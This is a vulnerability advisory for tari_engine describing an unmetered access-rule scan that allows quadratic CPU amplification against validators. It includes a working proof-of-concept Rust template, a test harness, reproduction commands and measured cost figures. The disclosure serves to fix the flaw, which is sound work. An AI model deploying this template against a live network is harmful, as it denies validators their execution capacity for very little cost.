Vulnerability DatabaseGHSA-8h8f-293m-v3rr

GHSA-8h8f-293m-v3rr: 
Rust vulnerability analysis and mitigation

Summary

An unprivileged template author can make every validator execute arbitrary CPU work that the engine charges nothing for. Authorization::check_resource_access_rules (crates/engine/src/runtime/tracker_auth.rs:70-93) performs no metered charge, yet its cost is O(requirements × live proofs): AnyOf evaluates requirements until one succeeds, and every failing RuleRequirement::Resource scans the whole call-frame proof set. A template that creates P proofs under a rule with R unsatisfiable resource requirements therefore costs R·P²/2 proof scans while the charge is identical for R = 1 and R = 1022. Measured on the pinned commit (release build): charged points byte-identical across R, 2,623× CPU amplification against the engine's own point budget at R = 1022, P = 2000 (44.2 s wall, 141.6M points charged), and the compute caps permit a single transaction to buy ~2.5 hours of validator CPU (extrapolated from measured per-scan cost) for ~2.1 XTM in fees. This is an availability attack on the committee's execution capacity, not a state or fund compromise. Claimed severity CVSS:4.0 8.7 (High). The landed GHSA-95fq fix prices the edges of a host call but not interior work that scales with a state collection; this path has no meter at all, and the fix is to charge per requirement/proof examined or to memoise the scan.

Details

Repository: tari-project/tari-ootle, pinned at commit 65b0eae0f392693fa16e4180a84f4fa20340df4e. Every citation below is at that revision.

1. Affected crate, file and function

  • crates/engine/src/runtime/tracker_auth.rs
    • Authorization::check_resource_access_rules (:70-93) — performs no metered charge.
    • check_require_rule (:178-224) — AnyOf tests requirements in order and stops at the first that succeeds (:185-192).
    • check_requirement (:229-284) — an unsatisfied RuleRequirement::Resource iterates the current call frame's proof set until it finds a matching non-empty proof or reaches the end (:235-248), one WorkingState::get_proof map lookup per proof.
  • Reached from crates/engine/src/runtime/impl.rs:3083 (check_resource_access_rules inside VaultAction::CreateProofByFungibleAmount), and from fourteen other call sites in the same file (e.g. :588, :1932).
  • Proof accumulation: crates/engine/src/runtime/working_state.rs:1277-1284 (new_proof calls current_call_scope_mut()?.add_proof_to_scope(proof_id) at :1283).

check_resource_access_rules decides whether the caller may withdraw from a resource, and it does so without charging a single point. The work it does is not constant:

  • RequireRule::AnyOf tests requirements in order, stopping at the first that succeeds (tracker_auth.rs:185-192). The attacker places the only requirement that can succeed last, so all R failing requirements are evaluated.
  • Each unsatisfied RuleRequirement::Resource iterates the authorization-scope proof set until it finds a matching non-empty proof, or the end (tracker_auth.rs:235-248), doing a map lookup and a resource-address comparison per proof. The requirement names a resource no proof holds, so it runs to the end of the set every time. Creating a proof is itself an authorization event: CreateProofByFungibleAmount calls

check_resource_access_rules(Withdraw, ...) before it creates anything (impl.rs:3083), and the proof it creates is added to the same active call frame's scope (working_state.rs:1283). So a template method that creates proofs in a loop evaluates the rule against a proof set that grows by one per iteration:

cost ≈ R × P(P−1)/2  proof scans for P proof creations and R unsatisfiable requirements

(the first creation scans an empty proof set, so the sum starts at 0) while the engine charges each call only PER_ENGINE_CALL = 10_000 points (crates/engine_types/src/limits.rs:539) plus its argument bytes and items before the handler runs (crates/engine/src/wasm/process.rs:514-530) and its response bytes and items after it (:542). Nothing charges for the rule walk or the proof scan, so the charge is identical whether R is 0, 1 or 1022. A template author controls R (up to the MAX_ACCESS_RULE_NODES = 1024 limit, crates/template_lib_types/src/access_rules.rs:253) and P (up to the transaction compute caps), and both are in the attacker's own transaction. The attacker is a template author and an unprivileged transaction submitter — both named in the contest's trust model. No victim action, no privileged key and no other participant is involved; the resource, the rule, the vault and the proofs are all the attacker's own.

  1. Publish a template containing a component. On creation it allocates its own component address and mints two resources:
    • absent: an ordinary public fungible, held in a vault but never proved.
    • target: the resource to withdraw from, with OwnerRule::None and Withdraw rule Restricted(Require(AnyOf([Resource(absent) × R, ScopedToComponent(self)]))). OwnerRule::None matters: an ownership rule the caller satisfies returns early at tracker_auth.rs:80-83 and the access rule is never evaluated, while SubstateOwnerRule::None is the arm that returns Ok(false) (:127) and forces the rule to run.
  2. Call a method that runs self.vault.create_proof_by_amount(1) P times, keeping each Proof live. Each iteration is one creation host call that pays the flat charge while the rule evaluation does R full proof scans, all uncharged. The proofs are dropped afterwards, each drop being one more metered host call. The whole P = 1000 transaction was charged 70,904,358 points in total (~70.9k per proof created, including the drops).
  3. Drop the proofs so the transaction commits. The cost has already been paid by every validator that executes it. Every requirement named absent fails (the caller holds no proof of it), so all R requirements run to the end of the proof set before the trailing ScopedToComponent accepts the withdrawal.

GHSA-95fq reported that WasmProcess::handle performed its work unmetered. That patch is present at this commit — git log -S attributes it to 0283b6aca43f7d438d308cc28e25bc9ae0e4eda9, not to 65b0eae itself. What it charges is visible at crates/engine/src/wasm/process.rs:514-530: one charge_engine_call() (PER_ENGINE_CALL), then argument bytes and items before decode, and at :542 the response bytes and items after encode. The generic wrapper has no meter for visits or time, and the handler's own handler_ns is written only to abi_metrics (process.rs:531-554), never to the meter. That prices the edges of a host call, not work inside a handler that scales with state collections. Some individual handlers do price item counts explicitly — non-fungible IDs moved (impl.rs:1184-1193), component-state items and references (impl.rs:1232-1251) — which is exactly the pattern this path lacks. This report is the interior case: at fixed P the charged points are identical for R = 1 and R = 1022 (see the table above), while the R = 1022 rule takes 534.0× longer to execute at P = 1000 (the PoC's printed ratio), and 1,145–1,202× the point budget. No charge exists anywhere in check_resource_access_rules. Charge in the evaluator, where the work happens: check_resource_access_rules should charge per requirement node visited and per proof examined (e.g. a charge_native_execution in the proofs() loop in check_requirement, plus one per AnyOf/AllOf branch). That needs a meter inside Authorization, which today holds only &WorkingState (tracker_auth.rs:23-25), so either thread a tracker or charge handle through new or charge in the callers that already hold one. Alternatively the proof-set scan can be memoised per (scope, resource), so R requirements against the same proof set cost one scan instead of R — that needs no new parameter. Either way the charge grows with the work rather than only with the number of host calls.

Proof of concept

Template rule_scan (verbatim source below) and integration test crates/engine/tests/rule_scan_poc.rs, both run against a checkout of 65b0eae. Machine: 8 vCPU AMD, 15 GiB, Ubuntu 24.04, Rust 1.97.1. Reproduce:

cp -r rule_scan  crates/engine/tests/templates/rule_scan
cp rule_scan_poc.rs  crates/engine/tests/
cargo test -p tari_engine --test rule_scan_poc --release -- --nocapture --test-threads=1
POC_PROOFS=1000 cargo test -p tari_engine --test rule_scan_poc --release -- --nocapture --test-threads=1

Measured (release build; points are the engine's own last_execution_points(), and the budget column converts them with the in-tree calibration of ~8.4M points per ms of validator CPU, crates/engine/src/wasm/bulk_metering.rs:34-36):

R (requirements)P (proof creations)wall timecharged wasmcharged nativecharged totalbudgetamplification
15000.008 s4,087,19131,483,66735,570,8584.23 ms1.9×
10225002.449 s4,087,19131,483,66735,570,8584.23 ms578×
110000.018 s8,172,69162,731,66770,904,3588.44 ms2.1×
102210009.669 s / 10.145 s8,172,69162,731,66770,904,3588.44 ms1,145–1,202×
1022200044.215 s16,343,691125,227,667141,571,35816.85 ms2,623×
The charge is byte-identical across R at fixed P — the PoC prints
charged points R=1022 vs R=1 at P=1000: 1.000x — while wall time differs by 299.7× at P = 500
and 534.0× at P = 1000, as the PoC prints from unrounded times. Measured against the point budget
instead, the same runs are 1,145–1,202× (P = 1000) and 2,623× (P = 2000). Doubling P quadruples the
work, as the PoC prints: 4.57× for P = 1000 → 2000 and 4.15× for P = 400 → 200, both in release
builds. That is the predicted quadratic, and because the charge only grows linearly in P the
amplification does too — measured 1,145× at P = 1000 and 2,623× at P = 2000, 2.29× for the doubling.
Fees are charged per point (fees/fee_module.rs:147-160, per_wasm_point_cost = 1,
wasm_points_cost_divisor = 1000, charged separately for wasm and native points):
floor(8,172,691 / 1000) + floor(62,731,667 / 1000) = 70,903 µTari ≈ 0.071 XTM. That is the shipped
fee table applied to the measured points; the test harness runs with fees disabled, so no fee was
actually settled during the measurement.
The compute caps permit P ≈ 30,000 (wasm 250M / 8.17M per 1000 ≈ 30,600; native 2.4B / 62.7M per
1000 ≈ 38,000). At the measured ~19 ns per proof scan (the P = 400 release run took 1.559 s for
~81.6M scans: 1022 × 400×399/2, an end-to-end average that includes everything else the loop does),
that is roughly 2.5 hours of validator CPU in a single transaction. That last figure is extrapolated
from the measured per-lookup cost, not measured directly.

Template (crates/engine/tests/templates/rule_scan/src/lib.rs)

//   Copyright 2026 The Tari Project
//   SPDX-License-Identifier: BSD-3-Clause
//! PoC template for the uncharged access-rule evaluation.
//!
//! The resource this component holds has a Withdraw rule of
//! `AnyOf([Resource(absent) x R, ScopedToComponent(self)])`. The `Resource(absent)` requirements can
//! never match, so each one scans every proof in the call scope before failing; the trailing
//! `ScopedToComponent` then succeeds, so the rule as a whole allows the withdrawal. Every proof
//! creation therefore pays R full scans over a proof set that grows by one per call.
use tari_template_lib::prelude::*;
#[template]
mod rule_scan {
    use super::*;
    use tari_template_lib::types::access_rules::{RequireRule, RuleRequirement};
    pub struct RuleScan {
        vault: Vault,
        /// Holds the `absent` resource. Owning it is not enough: the rule requires a *proof*.
        _absent: Vault,
    }
    impl RuleScan {
        /// Creates the resource whose Withdraw rule forces `absent_requirements` failed `Resource`
        /// scans ahead of the trailing `ScopedToComponent`, and a vault holding `supply` units of it.
        pub fn new(absent_requirements: u32, supply: u64) -> Component<Self> {
            let allocation = CallerContext::allocate_component_address(None);
            // A resource no proof is ever taken of: every `Resource(absent)` requirement fails.
            let absent_supply = ResourceBuilder::public_fungible().initial_supply(1u64);
            let absent = absent_supply.resource_address();
            let absent_vault = Vault::from_bucket(absent_supply);
            let mut requirements = Vec::with_capacity(absent_requirements as usize + 1);
            for _ in 0..absent_requirements {
                requirements.push(RuleRequirement::Resource(absent));
            }
            // Execution is inside this component, so the AnyOf accepts after the scans above.
            requirements.push(RuleRequirement::ScopedToComponent(allocation.get_address()));
            let rule = AccessRule::Restricted(RestrictedAccessRule::Require(RequireRule::AnyOf(
                requirements.into_boxed_slice(),
            )));
            let supply = ResourceBuilder::public_fungible()
                // No owner, so the ownership check cannot satisfy the withdrawal and the access
                // rule below is always evaluated.
                .with_owner_rule(OwnerRule::None)
                .withdrawable(rule, OWNER)
                .initial_supply(supply);
            Component::new(Self {
                vault: Vault::from_bucket(supply),
                _absent: absent_vault,
            })
            .with_address_allocation(allocation)
            .create()
        }
        /// Creates `count` proofs one at a time, keeping each live so the scope's proof set grows by
        /// one per iteration, then drops them so the transaction commits.
        pub fn spam_proofs(&mut self, count: u32) {
            let mut proofs = Vec::with_capacity(count as usize);
            for _ in 0..count {
                proofs.push(self.vault.create_proof_by_amount(1u64));
            }
            for proof in proofs {
                proof.drop();
            }
        }
    }
}

Test (crates/engine/tests/rule_scan_poc.rs)

//   Copyright 2026 The Tari Project
//   SPDX-License-Identifier: BSD-3-Clause
//! Measures the uncharged access-rule evaluation.
//!
//! A withdraw rule of `AnyOf([Resource(absent) x R, ScopedToComponent(self)])` makes every proof
//! creation scan the call scope's whole proof set R times, while the engine charges the call a flat
//! `PER_ENGINE_CALL` plus argument costs. This test runs the same P proof creations under different
//! R and reports wall time against the points the engine actually charged.
use std::{env, time::Instant};
use tari_ootle_transaction::args;
use tari_template_test_tooling::TemplateTest;
use tari_template_lib::types::ComponentAddress;
const CRATE_PATH: &str = env!("CARGO_MANIFEST_DIR");
struct Measurement {
    absent_requirements: u32,
    proofs: u32,
    seconds: f64,
    wasm_points: u64,
    native_points: u64,
}
impl Measurement {
    fn total_points(&self) -> u64 {
        self.wasm_points + self.native_points
    }
}
/// Runs one `spam_proofs(P)` transaction against a rule with `R` absent resource requirements.
fn measure(absent_requirements: u32, proofs: u32) -> Measurement {
    eprintln!("[poc] R={absent_requirements} P={proofs}: setting up template");
    let mut test = TemplateTest::new(CRATE_PATH, ["tests/templates/rule_scan"]);
    let component: ComponentAddress =
        test.call_function("RuleScan", "new", args![absent_requirements, 1_000_000u64], vec![]);
    eprintln!("[poc] R={absent_requirements} P={proofs}: executing");
    let started = Instant::now();
    test.call_method::<()>(component, "spam_proofs", args![proofs], vec![]);
    let seconds = started.elapsed().as_secs_f64();
    let points = test.last_execution_points();
    let measurement = Measurement {
        absent_requirements,
        proofs,
        seconds,
        wasm_points: points.wasm,
        native_points: points.native,
    };
    eprintln!(
        "[poc] R={absent_requirements} P={proofs}: {:.3}s charged wasm={} native={}",
        measurement.seconds, measurement.wasm_points, measurement.native_points
    );
    measurement
}
#[test]
fn rule_evaluation_is_charged_flat_while_its_cost_is_quadratic() {
    let proofs: u32 = env::var("POC_PROOFS").ok().and_then(|v| v.parse().ok()).unwrap_or(200);
    let max_requirements: u32 =
        env::var("POC_RULES").ok().and_then(|v| v.parse().ok()).unwrap_or(1022);
    // Baseline has no absent requirement at all, so no scans run; the worst case has the maximum
    // number of rule nodes `MAX_ACCESS_RULE_NODES` permits (R + AnyOf + ScopedToComponent <= 1024).
    let cases = [
        (0, proofs),
        (1, proofs),
        (max_requirements, proofs),
        (max_requirements, proofs * 2),
    ];
    let measurements = cases.map(|(r, p)| measure(r, p));
    println!("\n| R (absent requirements) | P (proof creations) | wall time s | charged wasm | charged native | charged total |");
    println!("|---|---|---|---|---|---|");
    for m in &measurements {
        println!(
            "| {} | {} | {:.3} | {} | {} | {} |",
            m.absent_requirements,
            m.proofs,
            m.seconds,
            m.wasm_points,
            m.native_points,
            m.total_points()
        );
    }
    let (baseline, one, worst, worst_double) = (&measurements[0], &measurements[1], &measurements[2], &measurements[3]);
    // The claim: identical P costs the engine essentially the same, whatever R is.
    let charged_growth = worst.total_points() as f64 / one.total_points().max(1) as f64;
    println!(
        "\ncharged points R={} vs R=1 at P={}: {:.3}x",
        worst.absent_requirements, proofs, charged_growth
    );
    println!(
        "wall time R={} vs R=1 at P={}: {:.1}x",
        worst.absent_requirements,
        proofs,
        worst.seconds / one.seconds.max(0.000_001)
    );
    println!(
        "wall time R={} at P={} vs P={}: {:.2}x (expect ~4x if quadratic)",
        worst.absent_requirements,
        worst_double.proofs,
        worst.proofs,
        worst_double.seconds / worst.seconds.max(0.000_001)
    );
    println!(
        "baseline (R=0) at P={} took {:.3}s, charged {} points",
        baseline.proofs,
        baseline.seconds,
        baseline.total_points()
    );
    assert!(
        charged_growth < 1.10,
        "charged points should not scale with the rule's requirement count, got {charged_growth:.3}x"
    );
    assert!(
        worst.seconds > one.seconds * 20.0,
        "evaluating the R={} rule should cost far more wall time than R=1: {:.3}s vs {:.3}s",
        worst.absent_requirements,
        worst.seconds,
        one.seconds
    );
}

Impact

High. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.7, High — the v4.0 analogue of the CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 7.5 vector used for GHSA-95fq). VA:H rests on the cap-limited figure below, not only on the measured 44 s: a single transaction can be built to deny a validator's execution capacity for hours, and the attacker can repeat it for ~0.071 XTM each. Impact: an unprivileged attacker buys ~10 s of CPU on every validator that executes the transaction for ~0.071 XTM, and the caps allow a single transaction to buy ~2.5 hours (extrapolated) for ~2.1 XTM in execution fees at the same table (also extrapolated). The XTM-per-CPU-second rate improves as P grows, because the CPU cost is quadratic while the fee is linear — which is why the flat-rate figure and the cap-limited figure differ. Validators execute the transaction as part of consensus validation, so this is a liveness/availability attack on the committee, not on the attacker's own node. It does not corrupt state and does not steal funds.

Payout address (Minotari emoji ID)

🐢📟🐉💔💉🐋🚂🏭🎡🐻🗽🚨🐑🐻🍕💳🐨🔱🤡🍓🍒🐼🍕🥄🎲🍓🍑🥑🎳🍵🎹⚽🍄🐣🔦🛵💩🧩🏆😎🍈🔔🙈🙈🧲👖🎯😎💋💅🍕🔑🍀🏠🍍🍟👛📜🎁🍑🏥🎳🍗🎒📖🐊😂


Source: NVD

Related Rust vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

RUSTSEC-2026-0435HIGH7.5
  • Rust logoRust
  • thrift
NoYesNov 02, 2026
GHSA-37h3-8wp9-3hfxLOWN/A
  • Rust logoRust
  • wasmer
NoNoNov 02, 2026
GHSA-c99m-6ph2-xqm4LOWN/A
  • Rust logoRust
  • wasmer
NoYesNov 02, 2026
GHSA-8h8f-293m-v3rrHIGHN/A
  • Rust logoRust
  • tari_engine
NoNoNov 02, 2026
GHSA-33hm-36v7-39g9MEDIUMN/A
  • Rust logoRust
  • trezor-connect
NoYesNov 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management